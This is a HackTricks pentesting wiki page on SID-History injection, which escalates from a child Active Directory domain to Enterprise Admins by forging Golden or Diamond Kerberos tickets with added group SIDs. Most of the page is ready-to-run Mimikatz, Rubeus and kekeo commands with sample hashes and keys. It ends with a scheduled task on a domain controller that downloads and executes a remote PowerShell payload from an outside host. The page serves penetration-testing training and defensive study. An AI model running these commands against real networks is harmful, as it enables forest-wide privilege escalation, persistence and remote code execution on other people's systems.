hacktricks/windows-hardening/active-directory-methodology/sid-history-injection.md

# SID-History Injection

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## Attack

SID History was designed to support migration scenarios, where a user would be moved from one domain to another. To preserve access to resources in the "old" domain, the **user's previous SID would be added to the SID History** of their new account. So when creating such a ticket, the SID of a privileged group (EAs, DAs, etc) in the parent domain can be added that will **grant access to all resources in the parent**.

This can be achieved using either a [**Golden**](sid-history-injection.md#golden-ticket) or [**Diamond Ticket**](sid-history-injection.md#diamond-ticket).

For finding the **SID** of the **"Enterprise Admins"** group you can find the **SID** of the **root domain** and set it in `S-1-5-21-<root domain>-519`. For example, from root domain SID `S-1-5-21-280534878-1496970234-700767426` the **"Enterprise Admins"** group SID is `S-1-5-21-280534878-1496970234-700767426-519`

You could also use the **Domain Admins** groups, which ends in **512**.

Another way yo find the SID of a group of the other domain (for example "Domain Admins") is with:

```powershell
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```

### Golden Ticket (Mimikatz) with KRBTGT-AES256

```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"

/user is the username to impersonate.
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.

# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain
```

For more info about golden tickets check:

{% content-ref url="golden-ticket.md" %}
[golden-ticket.md](golden-ticket.md)
{% endcontent-ref %}

### Diamond Ticket (Rubeus + KRBTGT-AES256)

```powershell
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
```

For more info about diamond tickets check:

{% content-ref url="diamond-ticket.md" %}
[diamond-ticket.md](diamond-ticket.md)
{% endcontent-ref %}

```bash
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local 
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
```

Escalate to DA of root or Enterprise admin using the KRBTGT hash of the compromised domain:

```bash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
```

<details>

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</details>